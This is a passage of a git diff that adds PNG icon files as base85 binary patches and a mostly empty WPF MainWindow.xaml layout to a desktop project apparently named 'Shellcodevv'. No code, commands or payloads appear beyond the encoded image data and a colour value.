zcmeAS@N?(olHy`uVBq!ia0vp^5+E$V0wks0X&L}2mUKs7M+SzC{oH>NS%G|oWRD45dJ|uM!v-tY$DUh!@P+6=(yLU`q0KcVS>y)vIg-2>Spei8#knMCH$Y3w=^mS!_$|)fxqq(k6JsBwU+|$J|#N+thsoq>I20U%X&eaSH zo5Bk&_de(E$Tq)Q!RmNW`N{m&{)3Vi?dF`^_Vl;VtR*fkEE~l#q!wss7%EiqT`>&^ z-EuHhhLPdLE|HTw<#}no!U3TyiO2NjG)oBcnLp!=cbdU@!e~M6_emSPzRi?ZnWeO| zC0|@w<=zJgPXiklA>Qv3RSx^#<~w(n$$tG4wI5rL@c-Lmrs2Be>-WZMUjnpre;;P= zo&SUX2fzH!HKLQtr~A)$_jYR2h!8SfcyH2_kNc?+%k%g6sp|*j6m4Sh--#JiNA~fXYr(~v8;?@u&T-FEFz~JfX=d#Wzp$P!BpQ&^J literal 0 HcmV?d00001 diff --git a/Shellcodevv/Icons/minus-sign.png b/Shellcodevv/Icons/minus-sign.png new file mode 100644 index 0000000000000000000000000000000000000000..1d353c533c7ed43dfd7a3ebf35291843d1553a5a GIT binary patch literal 347 zcmeAS@N?(olHy`uVBq!ia0vp^5+E$V0wks0X&L}2mUKs7M+SzC{oH>NS%G|oWRD45dJ|uM!v-tY$DUh!@P+6=(yLU`q0KcVS>y)vIg-2>Spei8#knMCH$Y3w=^mS!_$|)gcBqscxxd;MEnE?VgisnbaopE4KVMzPmJGt)tg_zxmD2OfvIVTz&pOO5EdIXVI~$ z@17=Y&wmOW3YR!C8<`)MX5lF!N|bKP}jgx*T^Kq$jHjn sz{CRP|c25MmNboFyt=akR{0L#f`LI3~& literal 0 HcmV?d00001 diff --git a/Shellcodevv/MainWindow.xaml b/Shellcodevv/MainWindow.xaml new file mode 100644 index 0000000..82476b8 --- /dev/null +++ b/Shellcodevv/MainWindow.xaml @@ -0,0 +1,183 @@ + + + + + + #2b2b2b + + + + + + + + + + + + + + + + + +